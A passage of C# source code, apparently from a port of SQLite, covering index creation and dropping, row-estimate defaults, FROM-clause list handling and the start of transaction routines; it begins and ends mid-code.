pExpr != null )\n        {\n          CollSeq pColl = pExpr.pColl;\n          /* Either pColl!=0 or there was an OOM failure.  But if an OOM\n          ** failure we have quit before reaching this point. */\n          if ( ALWAYS( pColl != null ) )\n          {\n            nExtra += ( 1 + sqlite3Strlen30( pColl.zName ) );\n          }\n        }\n      }\n\n      /*\n      ** Allocate the index structure.\n      */\n      nName = sqlite3Strlen30( zName );\n      nCol = pList.nExpr;\n      pIndex = new Index();\n      // sqlite3DbMallocZero( db,\n      //    Index.Length +              /* Index structure  */\n      //    sizeof( int ) * nCol +           /* Index.aiColumn   */\n      //    sizeof( int ) * ( nCol + 1 ) +       /* Index.aiRowEst   */\n      //    sizeof( char* ) * nCol +        /* Index.azColl     */\n      //    u8.Length * nCol +            /* Index.aSortOrder */\n      //    nName + 1 +                  /* Index.zName      */\n      //    nExtra                       /* Collation sequence names */\n      //);\n      //if ( db.mallocFailed != 0 )\n      //{\n      //  goto exit_create_index;\n      //}\n      pIndex.azColl = new string[nCol];//(char**)(pIndex[1]);\n      pIndex.aiColumn = new int[nCol + 1];//(int *)(pIndex->azColl[nCol]);\n      pIndex.aiRowEst = new int[nCol + 1];//(unsigned *)(pIndex->aiColumn[nCol]);\n      pIndex.aSortOrder = new byte[nCol + 1];//(u8 *)(pIndex->aiRowEst[nCol+1]);\n      //pIndex.zName = null;// (char*)( &pIndex->aSortOrder[nCol] );\n      zExtra = new StringBuilder( nName + 1 );// (char*)( &pIndex.zName[nName + 1] );\n      if ( zName.Length == nName ) pIndex.zName = zName;\n      else { pIndex.zName = zName.Substring( 0, nName ); }// memcpy( pIndex.zName, zName, nName + 1 );\n      pIndex.pTable = pTab;\n      pIndex.nColumn = pList.nExpr;\n      pIndex.onError = (u8)onError;\n      pIndex.autoIndex = (u8)( pName == null ? 1 : 0 );\n      pIndex.pSchema = db.aDb[iDb].pSchema;\n\n      /* Check to see if we should honor DESC requests on index columns\n      */\n      if ( pDb.pSchema.file_format >= 4 )\n      {\n        sortOrderMask = 1;   /* Honor DESC */\n      }\n      else\n      {\n        sortOrderMask = 0;    /* Ignore DESC */\n      }\n\n      /* Scan the names of the columns of the table to be indexed and\n      ** load the column indices into the Index structure.  Report an error\n      ** if any column is not found.\n      **\n      ** TODO:  Add a test to make sure that the same column is not named\n      ** more than once within the same index.  Only the first instance of\n      ** the column will ever be used by the optimizer.  Note that using the\n      ** same column more than once cannot be an error because that would\n      ** break backwards compatibility - it needs to be a warning.\n      */\n      for ( i = 0 ; i < pList.nExpr ; i++ )\n      {//, pListItem++){\n        pListItem = pList.a[i];\n        string zColName = pListItem.zName;\n        Column pTabCol;\n        byte requestedSortOrder;\n        string zColl;                   /* Collation sequence name */\n\n        for ( j = 0 ; j < pTab.nCol ; j++ )\n        {//, pTabCol++){\n          pTabCol = pTab.aCol[j];\n          if ( sqlite3StrICmp( zColName, pTabCol.zName ) == 0 ) break;\n        }\n        if ( j >= pTab.nCol )\n        {\n          sqlite3ErrorMsg( pParse, \"table %s has no column named %s\",\n          pTab.zName, zColName );\n          goto exit_create_index;\n        }\n        pIndex.aiColumn[i] = j;\n        /* Justification of the ALWAYS(pListItem->pExpr->pColl):  Because of\n        ** the way the \"idxlist\" non-terminal is constructed by the parser,\n        ** if pListItem->pExpr is not null then either pListItem->pExpr->pColl\n        ** must exist or else there must have been an OOM error.  But if there\n        ** was an OOM error, we would never reach this point. */\n        if ( pListItem.pExpr != null && ALWAYS( pListItem.pExpr.pColl ) )\n        {\n          int nColl;\n          zColl = pListItem.pExpr.pColl.zName;\n          nColl = sqlite3Strlen30( zColl );\n          Debug.Assert( nExtra >= nColl );\n          zExtra = new StringBuilder( zColl.Substring( 0, nColl ) );// memcpy( zExtra, zColl, nColl );\n          zColl = zExtra.ToString();\n          //zExtra += nColl;\n          nExtra -= nColl;\n        }\n        else\n        {\n          zColl = pTab.aCol[j].zColl;\n          if ( zColl == null )\n          {\n            zColl = db.pDfltColl.zName;\n          }\n        }\n        if ( 0 == db.init.busy && sqlite3LocateCollSeq( pParse, zColl ) == null )\n        {\n          goto exit_create_index;\n        }\n        pIndex.azColl[i] = zColl;\n        requestedSortOrder = (u8)( ( pListItem.sortOrder & sortOrderMask ) != 0 ? 1 : 0 );\n        pIndex.aSortOrder[i] = (u8)requestedSortOrder;\n      }\n      sqlite3DefaultRowEst( pIndex );\n\n      if ( pTab == pParse.pNewTable )\n      {\n        /* This routine has been called to create an automatic index as a\n        ** result of a PRIMARY KEY or UNIQUE clause on a column definition, or\n        ** a PRIMARY KEY or UNIQUE clause following the column definitions.\n        ** i.e. one of:\n        **\n        ** CREATE TABLE t(x PRIMARY KEY, y);\n        ** CREATE TABLE t(x, y, UNIQUE(x, y));\n        **\n        ** Either way, check to see if the table already has such an index. If\n        ** so, don't bother creating this one. This only applies to\n        ** automatically created indices. Users can do as they wish with\n        ** explicit indices.\n        **\n        ** Two UNIQUE or PRIMARY KEY constraints are considered equivalent\n        ** (and thus suppressing the second one) even if they have different\n        ** sort orders.\n        **\n        ** If there are different collating sequences or if the columns of\n        ** the constraint occur in different orders, then the constraints are\n        ** considered distinct and both result in separate indices.\n        */\n        Index pIdx;\n        for ( pIdx = pTab.pIndex ; pIdx != null ; pIdx = pIdx.pNext )\n        {\n          int k;\n          Debug.Assert( pIdx.onError != OE_None );\n          Debug.Assert( pIdx.autoIndex != 0 );\n          Debug.Assert( pIndex.onError != OE_None );\n\n          if ( pIdx.nColumn != pIndex.nColumn ) continue;\n          for ( k = 0 ; k < pIdx.nColumn ; k++ )\n          {\n            string z1;\n            string z2;\n            if ( pIdx.aiColumn[k] != pIndex.aiColumn[k] ) break;\n            z1 = pIdx.azColl[k];\n            z2 = pIndex.azColl[k];\n            if ( z1 != z2 && sqlite3StrICmp( z1, z2 ) != 0 ) break;\n          }\n          if ( k == pIdx.nColumn )\n          {\n            if ( pIdx.onError != pIndex.onError )\n            {\n              /* This constraint creates the same index as a previous\n              ** constraint specified somewhere in the CREATE TABLE statement.\n              ** However the ON CONFLICT clauses are different. If both this\n              ** constraint and the previous equivalent constraint have explicit\n              ** ON CONFLICT clauses this is an error. Otherwise, use the\n              ** explicitly specified behavior for the index.\n              */\n              if ( !( pIdx.onError == OE_Default || pIndex.onError == OE_Default ) )\n              {\n                sqlite3ErrorMsg( pParse,\n                \"conflicting ON CONFLICT clauses specified\", 0 );\n              }\n              if ( pIdx.onError == OE_Default )\n              {\n                pIdx.onError = pIndex.onError;\n              }\n            }\n            goto exit_create_index;\n          }\n        }\n      }\n\n      /* Link the new Index structure to its table and to the other\n      ** in-memory database structures.\n      */\n      if ( db.init.busy != 0 )\n      {\n        Index p;\n        p = (Index)sqlite3HashInsert( ref pIndex.pSchema.idxHash,\n        pIndex.zName, sqlite3Strlen30( pIndex.zName ),\n        pIndex );\n        if ( p != null )\n        {\n          Debug.Assert( p == pIndex );  /* Malloc must have failed */\n  //        db.mallocFailed = 1;\n          goto exit_create_index;\n        }\n        db.flags |= SQLITE_InternChanges;\n        if ( pTblName != null )\n        {\n          pIndex.tnum = db.init.newTnum;\n        }\n      }\n\n          /* If the db.init.busy is 0 then create the index on disk.  This\n          ** involves writing the index into the master table and filling in the\n          ** index with the current table contents.\n          **\n          ** The db.init.busy is 0 when the user first enters a CREATE INDEX\n          ** command.  db.init.busy is 1 when a database is opened and\n          ** CREATE INDEX statements are read out of the master table.  In\n          ** the latter case the index already exists on disk, which is why\n          ** we don't want to recreate it.\n          **\n          ** If pTblName==0 it means this index is generated as a primary key\n          ** or UNIQUE constraint of a CREATE TABLE statement.  Since the table\n          ** has just been created, it contains no data and the index initialization\n          ** step can be skipped.\n          */\n      else //if ( 0 == db.init.busy )\n      {\n        Vdbe v;\n        string zStmt;\n        int iMem = ++pParse.nMem;\n\n        v = sqlite3GetVdbe( pParse );\n        if ( v == null ) goto exit_create_index;\n\n\n        /* Create the rootpage for the index\n        */\n        sqlite3BeginWriteOperation( pParse, 1, iDb );\n        sqlite3VdbeAddOp2( v, OP_CreateIndex, iDb, iMem );\n\n        /* Gather the complete text of the CREATE INDEX statement into\n        ** the zStmt variable\n        */\n        if ( pStart != null )\n        {\n          Debug.Assert( pEnd != null );\n          /* A named index with an explicit CREATE INDEX statement */\n          zStmt = sqlite3MPrintf( db, \"CREATE%s INDEX %.*s\",\n          onError == OE_None ? \"\" : \" UNIQUE\",\n          pName.z.Length - pEnd.z.Length + 1,\n          pName.z );\n        }\n        else\n        {\n          /* An automatic index created by a PRIMARY KEY or UNIQUE constraint */\n          /* zStmt = sqlite3MPrintf(\"\"); */\n          zStmt = null;\n        }\n\n        /* Add an entry in sqlite_master for this index\n        */\n        sqlite3NestedParse( pParse,\n        \"INSERT INTO %Q.%s VALUES('index',%Q,%Q,#%d,%Q);\",\n        db.aDb[iDb].zName, SCHEMA_TABLE( iDb ),\n        pIndex.zName,\n        pTab.zName,\n        iMem,\n        zStmt\n        );\n        //sqlite3DbFree( db, ref zStmt );\n\n        /* Fill the index with data and reparse the schema. Code an OP_Expire\n        ** to invalidate all pre-compiled statements.\n        */\n        if ( pTblName != null )\n        {\n          sqlite3RefillIndex( pParse, pIndex, iMem );\n          sqlite3ChangeCookie( pParse, iDb );\n          sqlite3VdbeAddOp4( v, OP_ParseSchema, iDb, 0, 0,\n          sqlite3MPrintf( db, \"name='%q'\", pIndex.zName ), P4_DYNAMIC );\n          sqlite3VdbeAddOp1( v, OP_Expire, 0 );\n        }\n      }\n\n      /* When adding an index to the list of indices for a table, make\n      ** sure all indices labeled OE_Replace come after all those labeled\n      ** OE_Ignore.  This is necessary for the correct constraint check\n      ** processing (in sqlite3GenerateConstraintChecks()) as part of\n      ** UPDATE and INSERT statements.\n      */\n      if ( db.init.busy != 0 || pTblName == null )\n      {\n        if ( onError != OE_Replace || pTab.pIndex == null\n        || pTab.pIndex.onError == OE_Replace )\n        {\n          pIndex.pNext = pTab.pIndex;\n          pTab.pIndex = pIndex;\n        }\n        else\n        {\n          Index pOther = pTab.pIndex;\n          while ( pOther.pNext != null && pOther.pNext.onError != OE_Replace )\n          {\n            pOther = pOther.pNext;\n          }\n          pIndex.pNext = pOther.pNext;\n          pOther.pNext = pIndex;\n        }\n        pIndex = null;\n      }\n\n        /* Clean up before exiting */\nexit_create_index:\n      if ( pIndex != null )\n      {\n        //sqlite3_free( ref pIndex.zColAff );\n        //sqlite3DbFree( db, ref pIndex );\n      }\n      sqlite3ExprListDelete( db, ref pList );\n      sqlite3SrcListDelete( db, ref pTblName );\n      //sqlite3DbFree( db, ref zName );\n      return;\n    }\n\n    /*\n    ** Fill the Index.aiRowEst[] array with default information - information\n    ** to be used when we have not run the ANALYZE command.\n    **\n    ** aiRowEst[0] is suppose to contain the number of elements in the index.\n    ** Since we do not know, guess 1 million.  aiRowEst[1] is an estimate of the\n    ** number of rows in the table that match any particular value of the\n    ** first column of the index.  aiRowEst[2] is an estimate of the number\n    ** of rows that match any particular combiniation of the first 2 columns\n    ** of the index.  And so forth.  It must always be the case that\n    *\n    **           aiRowEst[N]<=aiRowEst[N-1]\n    **           aiRowEst[N]>=1\n    **\n    ** Apart from that, we have little to go on besides intuition as to\n    ** how aiRowEst[] should be initialized.  The numbers generated here\n    ** are based on typical values found in actual indices.\n    */\n    static void sqlite3DefaultRowEst( Index pIdx )\n    {\n      int[] a = pIdx.aiRowEst;\n      int i;\n      Debug.Assert( a != null );\n      a[0] = 1000000;\n      for ( i = pIdx.nColumn ; i >= 5 ; i-- )\n      {\n        a[i] = 5;\n      }\n      while ( i >= 1 )\n      {\n        a[i] = 11 - i;\n        i--;\n      }\n      if ( pIdx.onError != OE_None )\n      {\n        a[pIdx.nColumn] = 1;\n      }\n    }\n\n    /*\n    ** This routine will drop an existing named index.  This routine\n    ** implements the DROP INDEX statement.\n    */\n    static void sqlite3DropIndex( Parse pParse, SrcList pName, int ifExists )\n    {\n      Index pIndex;\n      Vdbe v;\n      sqlite3 db = pParse.db;\n      int iDb;\n\n      Debug.Assert( pParse.nErr == 0 );   /* Never called with prior errors */\n      //if ( db.mallocFailed != 0 )\n      //{\n      //  goto exit_drop_index;\n      //}\n      Debug.Assert( pName.nSrc == 1 );\n      if ( SQLITE_OK != sqlite3ReadSchema( pParse ) )\n      {\n        goto exit_drop_index;\n      }\n      pIndex = sqlite3FindIndex( db, pName.a[0].zName, pName.a[0].zDatabase );\n      if ( pIndex == null )\n      {\n        if ( ifExists == 0 )\n        {\n          sqlite3ErrorMsg( pParse, \"no such index: %S\", pName, 0 );\n        }\n        pParse.checkSchema = 1;\n        goto exit_drop_index;\n      }\n      if ( pIndex.autoIndex != 0 )\n      {\n        sqlite3ErrorMsg( pParse, \"index associated with UNIQUE \" +\n        \"or PRIMARY KEY constraint cannot be dropped\", 0 );\n        goto exit_drop_index;\n      }\n      iDb = sqlite3SchemaToIndex( db, pIndex.pSchema );\n#if !SQLITE_OMIT_AUTHORIZATION\n{\nint code = SQLITE_DROP_INDEX;\nTable pTab = pIndex.pTable;\nstring zDb = db.aDb[iDb].zName;\nstring zTab = SCHEMA_TABLE(iDb);\nif( sqlite3AuthCheck(pParse, SQLITE_DELETE, zTab, 0, zDb) ){\ngoto exit_drop_index;\n}\nif( OMIT_TEMPDB ==0&& iDb ) code = SQLITE_DROP_TEMP_INDEX;\nif( sqlite3AuthCheck(pParse, code, pIndex.zName, pTab.zName, zDb) ){\ngoto exit_drop_index;\n}\n}\n#endif\n\n      /* Generate code to remove the index and from the master table */\n      v = sqlite3GetVdbe( pParse );\n      if ( v != null )\n      {\n        sqlite3BeginWriteOperation( pParse, 1, iDb );\n        sqlite3NestedParse( pParse,\n        \"DELETE FROM %Q.%s WHERE name=%Q\",\n        db.aDb[iDb].zName, SCHEMA_TABLE( iDb ),\n        pIndex.zName\n        );\n        if ( sqlite3FindTable( db, \"sqlite_stat1\", db.aDb[iDb].zName ) != null )\n        {\n          sqlite3NestedParse( pParse,\n          \"DELETE FROM %Q.sqlite_stat1 WHERE idx=%Q\",\n          db.aDb[iDb].zName, pIndex.zName\n          );\n        }\n        sqlite3ChangeCookie( pParse, iDb );\n        destroyRootPage( pParse, pIndex.tnum, iDb );\n        sqlite3VdbeAddOp4( v, OP_DropIndex, iDb, 0, 0, pIndex.zName, 0 );\n      }\n\nexit_drop_index:\n      sqlite3SrcListDelete( db, ref pName );\n    }\n\n    /*\n    ** pArray is a pointer to an array of objects.  Each object in the\n    ** array is szEntry bytes in size.  This routine allocates a new\n    ** object on the end of the array.\n    **\n    ** pnEntry is the number of entries already in use.  pnAlloc is\n    ** the previously allocated size of the array.  initSize is the\n    ** suggested initial array size allocation.\n    **\n    ** The index of the new entry is returned in pIdx.\n    **\n    ** This routine returns a pointer to the array of objects.  This\n    ** might be the same as the pArray parameter or it might be a different\n    ** pointer if the array was resized.\n    */\n    static T[] sqlite3ArrayAllocate<T>(\n    sqlite3 db,       /* Connection to notify of malloc failures */\n    T[] pArray,    /* Array of objects.  Might be reallocated */\n    int szEntry,      /* Size of each object in the array */\n    int initSize,     /* Suggested initial allocation, in elements */\n    ref int pnEntry,      /* Number of objects currently in use */\n    ref int pnAlloc,      /* Current size of the allocation, in elements */\n    ref int pIdx      /* Write the index of a new slot here */\n    ) where T : new()\n    {\n      //char* z;\n      if ( pnEntry >= pnAlloc )\n      {\n        //void* pNew;\n        int newSize;\n        newSize = ( pnAlloc ) * 2 + initSize;\n        //pNew = sqlite3DbRealloc(db, pArray, newSize * szEntry);\n        //if (pNew == 0)\n        //{\n        //  pIdx = -1;\n        //  return pArray;\n        //}\n        pnAlloc = newSize; //sqlite3DbMallocSize(db, pNew)/szEntry;\n        //pArray = pNew;\n        Array.Resize( ref pArray, newSize );\n      }\n      pArray[pnEntry] = new T();\n      //z = (char*)pArray;\n      //memset(z[*pnEntry * szEntry], 0, szEntry);\n      pIdx = pnEntry;\n      ++pnEntry;\n      return pArray;\n    }\n\n    /*\n    ** Append a new element to the given IdList.  Create a new IdList if\n    ** need be.\n    **\n    ** A new IdList is returned, or NULL if malloc() fails.\n    */\n    // OVERLOADS, so I don't need to rewrite parse.c\n    static IdList sqlite3IdListAppend( sqlite3 db, int null_2, Token pToken )\n    { return sqlite3IdListAppend( db, null, pToken ); }\n    static IdList sqlite3IdListAppend( sqlite3 db, IdList pList, Token pToken )\n    {\n      int i = 0;\n      if ( pList == null )\n      {\n        pList = new IdList();//sqlite3DbMallocZero(db, sizeof(IdList));\n        if ( pList == null ) return null;\n        pList.nAlloc = 0;\n      }\n      pList.a = (IdList_item[])sqlite3ArrayAllocate(\n      db,\n      pList.a,\n      -1,//sizeof(pList.a[0]),\n      5,\n      ref pList.nId,\n      ref pList.nAlloc,\n      ref i\n      );\n      if ( i < 0 )\n      {\n        sqlite3IdListDelete( db, ref pList );\n        return null;\n      }\n      pList.a[i].zName = sqlite3NameFromToken( db, pToken );\n      return pList;\n    }\n\n    /*\n    ** Delete an IdList.\n    */\n    static void sqlite3IdListDelete( sqlite3 db, ref IdList pList )\n    {\n      int i;\n      if ( pList == null ) return;\n      for ( i = 0 ; i < pList.nId ; i++ )\n      {\n        //sqlite3DbFree( db, ref pList.a[i].zName );\n      }\n      //sqlite3DbFree( db, ref pList.a );\n      //sqlite3DbFree( db, ref pList );\n    }\n\n    /*\n    ** Return the index in pList of the identifier named zId.  Return -1\n    ** if not found.\n    */\n    static int sqlite3IdListIndex( IdList pList, string zName )\n    {\n      int i;\n      if ( pList == null ) return -1;\n      for ( i = 0 ; i < pList.nId ; i++ )\n      {\n        if ( sqlite3StrICmp( pList.a[i].zName, zName ) == 0 ) return i;\n      }\n      return -1;\n    }\n\n    /*\n    ** Expand the space allocated for the given SrcList object by\n    ** creating nExtra new slots beginning at iStart.  iStart is zero based.\n    ** New slots are zeroed.\n    **\n    ** For example, suppose a SrcList initially contains two entries: A,B.\n    ** To append 3 new entries onto the end, do this:\n    **\n    **    sqlite3SrcListEnlarge(db, pSrclist, 3, 2);\n    **\n    ** After the call above it would contain:  A, B, nil, nil, nil.\n    ** If the iStart argument had been 1 instead of 2, then the result\n    ** would have been:  A, nil, nil, nil, B.  To prepend the new slots,\n    ** the iStart value would be 0.  The result then would\n    ** be: nil, nil, nil, A, B.\n    **\n    ** If a memory allocation fails the SrcList is unchanged.  The\n    ** db.mallocFailed flag will be set to true.\n    */\n    static SrcList sqlite3SrcListEnlarge(\n    sqlite3 db,       /* Database connection to notify of OOM errors */\n    SrcList pSrc,     /* The SrcList to be enlarged */\n    int nExtra,        /* Number of new slots to add to pSrc.a[] */\n    int iStart         /* Index in pSrc.a[] of first new slot */\n    )\n    {\n      int i;\n\n      /* Sanity checking on calling parameters */\n      Debug.Assert( iStart >= 0 );\n      Debug.Assert( nExtra >= 1 );\n      Debug.Assert( pSrc != null );\n      Debug.Assert( iStart <= pSrc.nSrc );\n\n      /* Allocate additional space if needed */\n      if ( pSrc.nSrc + nExtra > pSrc.nAlloc )\n      {\n        int nAlloc = pSrc.nSrc + nExtra;\n        int nGot;\n        // sqlite3DbRealloc(db, pSrc,\n        //     sizeof(*pSrc) + (nAlloc-1)*sizeof(pSrc.a[0]) );\n        pSrc.nAlloc = (i16)nAlloc;\n        Array.Resize( ref pSrc.a, nAlloc );\n        //    nGot = (sqlite3DbMallocSize(db, pNew) - sizeof(*pSrc))/sizeof(pSrc->a[0])+1;\n        //pSrc->nAlloc = (u16)nGot;\n      }\n\n      /* Move existing slots that come after the newly inserted slots\n      ** out of the way */\n      for ( i = pSrc.nSrc - 1 ; i >= iStart ; i-- )\n      {\n        pSrc.a[i + nExtra] = pSrc.a[i];\n      }\n      pSrc.nSrc += (i16)nExtra;\n\n      /* Zero the newly allocated slots */\n      //memset(&pSrc.a[iStart], 0, sizeof(pSrc.a[0])*nExtra);\n      for ( i = iStart ; i < iStart + nExtra ; i++ )\n      {\n        pSrc.a[i] = new SrcList_item();\n        pSrc.a[i].iCursor = -1;\n      }\n\n      /* Return a pointer to the enlarged SrcList */\n      return pSrc;\n    }\n\n\n    /*\n    ** Append a new table name to the given SrcList.  Create a new SrcList if\n    ** need be.  A new entry is created in the SrcList even if pTable is NULL.\n    **\n    ** A SrcList is returned, or NULL if there is an OOM error.  The returned\n    ** SrcList might be the same as the SrcList that was input or it might be\n    ** a new one.  If an OOM error does occurs, then the prior value of pList\n    ** that is input to this routine is automatically freed.\n    **\n    ** If pDatabase is not null, it means that the table has an optional\n    ** database name prefix.  Like this:  \"database.table\".  The pDatabase\n    ** points to the table name and the pTable points to the database name.\n    ** The SrcList.a[].zName field is filled with the table name which might\n    ** come from pTable (if pDatabase is NULL) or from pDatabase.\n    ** SrcList.a[].zDatabase is filled with the database name from pTable,\n    ** or with NULL if no database is specified.\n    **\n    ** In other words, if call like this:\n    **\n    **         sqlite3SrcListAppend(D,A,B,0);\n    **\n    ** Then B is a table name and the database name is unspecified.  If called\n    ** like this:\n    **\n    **         sqlite3SrcListAppend(D,A,B,C);\n    **\n    ** Then C is the table name and B is the database name.  If C is defined\n    ** then so is B.  In other words, we never have a case where:\n    **\n    **         sqlite3SrcListAppend(D,A,0,C);\n    **\n    ** Both pTable and pDatabase are assumed to be quoted.  They are dequoted\n    ** before being added to the SrcList.\n    */\n    // OVERLOADS, so I don't need to rewrite parse.c\n    static SrcList sqlite3SrcListAppend( sqlite3 db, int null_2, Token pTable, int null_4 )\n    {\n      return sqlite3SrcListAppend( db, null, pTable, null );\n    }\n    static SrcList sqlite3SrcListAppend( sqlite3 db, int null_2, Token pTable, Token pDatabase )\n    {\n      return sqlite3SrcListAppend( db, null, pTable, pDatabase );\n    }\n    static SrcList sqlite3SrcListAppend(\n    sqlite3 db,        /* Connection to notify of malloc failures */\n    SrcList pList,     /* Append to this SrcList. NULL creates a new SrcList */\n    Token pTable,      /* Table to append */\n    Token pDatabase    /* Database of the table */\n    )\n    {\n      SrcList_item pItem;\n      Debug.Assert( pDatabase == null || pTable != null );  /* Cannot have C without B */\n      if ( pList == null )\n      {\n        pList = new SrcList();//sqlite3DbMallocZero(db, SrcList.Length );\n        //if ( pList == null ) return null;\n        pList.nAlloc = 1;\n        pList.a = new SrcList_item[1];\n      }\n      pList = sqlite3SrcListEnlarge( db, pList, 1, pList.nSrc );\n      //if ( db.mallocFailed != 0 )\n      //{\n      //  sqlite3SrcListDelete( db, ref pList );\n      //  return null;\n      //}\n      pItem = pList.a[pList.nSrc - 1];\n      if ( pDatabase != null && String.IsNullOrEmpty(pDatabase.z))\n      {\n        pDatabase = null;\n      }\n      if ( pDatabase != null )\n      {\n        Token pTemp = pDatabase;\n        pDatabase = pTable;\n        pTable = pTemp;\n      }\n      pItem.zName = sqlite3NameFromToken( db, pTable );\n      pItem.zDatabase = sqlite3NameFromToken( db, pDatabase );\n      return pList;\n    }\n\n    /*\n    ** Assign VdbeCursor index numbers to all tables in a SrcList\n    */\n    static void sqlite3SrcListAssignCursors( Parse pParse, SrcList pList )\n    {\n      int i;\n      SrcList_item pItem;\n      Debug.Assert( pList != null /* || pParse.db.mallocFailed != 0 */ );\n      if ( pList != null )\n      {\n        for ( i = 0 ; i < pList.nSrc ; i++ )\n        {\n          pItem = pList.a[i];\n          if ( pItem.iCursor >= 0 ) break;\n          pItem.iCursor = pParse.nTab++;\n          if ( pItem.pSelect != null )\n          {\n            sqlite3SrcListAssignCursors( pParse, pItem.pSelect.pSrc );\n          }\n        }\n      }\n    }\n\n    /*\n    ** Delete an entire SrcList including all its substructure.\n    */\n    static void sqlite3SrcListDelete( sqlite3 db, ref SrcList pList )\n    {\n      int i;\n      SrcList_item pItem;\n      if ( pList == null ) return;\n      for ( i = 0 ; i < pList.nSrc ; i++ )\n      {//, pItem++){\n        pItem = pList.a[i];\n        //sqlite3DbFree( db, ref pItem.zDatabase );\n        //sqlite3DbFree( db, ref pItem.zName );\n        //sqlite3DbFree( db, ref pItem.zAlias );\n        //sqlite3DbFree( db, ref pItem.zIndex );\n        sqlite3DeleteTable( ref pItem.pTab );\n        sqlite3SelectDelete( db, ref pItem.pSelect );\n        sqlite3ExprDelete( db, ref pItem.pOn );\n        sqlite3IdListDelete( db, ref pItem.pUsing );\n      }\n      //sqlite3DbFree( db, ref pList );\n    }\n\n    /*\n    ** This routine is called by the parser to add a new term to the\n    ** end of a growing FROM clause.  The \"p\" parameter is the part of\n    ** the FROM clause that has already been constructed.  \"p\" is NULL\n    ** if this is the first term of the FROM clause.  pTable and pDatabase\n    ** are the name of the table and database named in the FROM clause term.\n    ** pDatabase is NULL if the database name qualifier is missing - the\n    ** usual case.  If the term has a alias, then pAlias points to the\n    ** alias token.  If the term is a subquery, then pSubquery is the\n    ** SELECT statement that the subquery encodes.  The pTable and\n    ** pDatabase parameters are NULL for subqueries.  The pOn and pUsing\n    ** parameters are the content of the ON and USING clauses.\n    **\n    ** Return a new SrcList which encodes is the FROM with the new\n    ** term added.\n    */\n    // OVERLOADS, so I don't need to rewrite parse.c\n    static SrcList sqlite3SrcListAppendFromTerm( Parse pParse, SrcList p, int null_3, int null_4, Token pAlias, Select pSubquery, Expr pOn, IdList pUsing )\n    {\n      return sqlite3SrcListAppendFromTerm( pParse, p, null, null, pAlias, pSubquery, pOn, pUsing );\n    }\n    static SrcList sqlite3SrcListAppendFromTerm( Parse pParse, SrcList p, Token pTable, Token pDatabase, Token pAlias, int null_6, Expr pOn, IdList pUsing )\n    {\n      return sqlite3SrcListAppendFromTerm( pParse, p, pTable, pDatabase, pAlias, null, pOn, pUsing );\n    }\n    static SrcList sqlite3SrcListAppendFromTerm(\n    Parse pParse,          /* Parsing context */\n    SrcList p,             /* The left part of the FROM clause already seen */\n    Token pTable,          /* Name of the table to add to the FROM clause */\n    Token pDatabase,       /* Name of the database containing pTable */\n    Token pAlias,          /* The right-hand side of the AS subexpression */\n    Select pSubquery,      /* A subquery used in place of a table name */\n    Expr pOn,              /* The ON clause of a join */\n    IdList pUsing          /* The USING clause of a join */\n    )\n    {\n      SrcList_item pItem;\n      sqlite3 db = pParse.db;\n      if ( null == p && ( pOn != null || pUsing != null ) )\n      {\n        sqlite3ErrorMsg( pParse, \"a JOIN clause is required before %s\",\n          ( pOn != null ? \"ON\" : \"USING\" )\n        );\n        goto append_from_error;\n      }\n      p = sqlite3SrcListAppend( db, p, pTable, pDatabase );\n      //if ( p == null || NEVER( p.nSrc == 0 ) )\n      //{\n      //  goto append_from_error;\n      //}\n      pItem = p.a[p.nSrc - 1];\n      Debug.Assert( pAlias != null );\n      if ( pAlias.n != 0 )\n      {\n        pItem.zAlias = sqlite3NameFromToken( db, pAlias );\n      }\n      pItem.pSelect = pSubquery;\n      pItem.pOn = pOn;\n      pItem.pUsing = pUsing;\n      return p;\nappend_from_error:\n      Debug.Assert( p == null );\n      sqlite3ExprDelete( db, ref pOn );\n      sqlite3IdListDelete( db, ref pUsing );\n      sqlite3SelectDelete( db, ref pSubquery );\n      return null;\n    }\n\n    /*\n    ** Add an INDEXED BY or NOT INDEXED clause to the most recently added\n    ** element of the source-list passed as the second argument.\n    */\n    static void sqlite3SrcListIndexedBy( Parse pParse, SrcList p, Token pIndexedBy )\n    {\n      Debug.Assert( pIndexedBy != null );\n      if ( p != null && ALWAYS( p.nSrc > 0 ) )\n      {\n        SrcList_item pItem = p.a[p.nSrc - 1];\n        Debug.Assert( 0 == pItem.notIndexed && pItem.zIndex == null );\n        if ( pIndexedBy.n == 1 && null == pIndexedBy.z )\n        {\n          /* A \"NOT INDEXED\" clause was supplied. See parse.y\n          ** construct \"indexed_opt\" for details. */\n          pItem.notIndexed = 1;\n        }\n        else\n        {\n          pItem.zIndex = sqlite3NameFromToken( pParse.db, pIndexedBy );\n        }\n      }\n    }\n\n    /*\n    ** When building up a FROM clause in the parser, the join operator\n    ** is initially attached to the left operand.  But the code generator\n    ** expects the join operator to be on the right operand.  This routine\n    ** Shifts all join operators from left to right for an entire FROM\n    ** clause.\n    **\n    ** Example: Suppose the join is like this:\n    **\n    **           A natural cross join B\n    **\n    ** The operator is \"natural cross join\".  The A and B operands are stored\n    ** in p.a[0] and p.a[1], respectively.  The parser initially stores the\n    ** operator with A.  This routine shifts that operator over to B.\n    */\n    static void sqlite3SrcListShiftJoinType( SrcList p )\n    {\n      if ( p != null && p.a != null )\n      {\n        int i;\n        for ( i = p.nSrc - 1 ; i > 0 ; i-- )\n        {\n          p.a[i].jointype = p.a[i - 1].jointype;\n        }\n        p.a[0].jointype = 0;\n      }\n    }\n\n    /*\n    ** Begin a transaction\n    */\n    static void sqlite3BeginTransaction( Parse pParse, int type )\n    {\n      sqlite3 db;\n      Vdbe v;\n      int i;\n\n      Debug.Assert( pParse != null );\n      db = pParse.db;\n      Debug.Assert( db != null );\n      /*  if( db.aDb[0].pBt==0 ) return; */\n      if ( sqlite3AuthCheck( pParse, SQLITE_TRANSACTION, \"BEGIN\", null, null ) != 0 )\n      {\n        return;\n      }\n      v = sqlite3GetVdbe( pParse );\n      if ( v == null ) return;\n      if ( type != TK_DEFERRED )\n      {\n        for ( i = 0 ; i < db.nDb ; i++ )\n        {\n          sqlite3VdbeAddOp2( v, OP_Transaction, i, ( type == TK_EXCLUSIVE ) ? 2 : 1 );\n          sqlite3VdbeUsesBtree( v, i );\n        }\n      }\n      sqlite3VdbeAddOp2( v, OP_AutoCommit, 0, 0 );\n    }\n\n    /*\n    ** Commit a transaction\n    */\n    static void sqlite3CommitTransaction( Parse pParse )\n    {\n      sqlite3 db;\n      Vdbe v;\n\n      Debug.Assert( pParse != null );\n      db = pParse.db;\n      Debug.Assert( db != null );\n      /*  if( db.aDb[0].pBt==0 ) return; */\n      if ( sqlite3AuthCheck( pParse, SQLITE_TRANSACTION, \"COMMIT\", null, null ) != 0 )\n      {\n        return;\n      }\n      v = 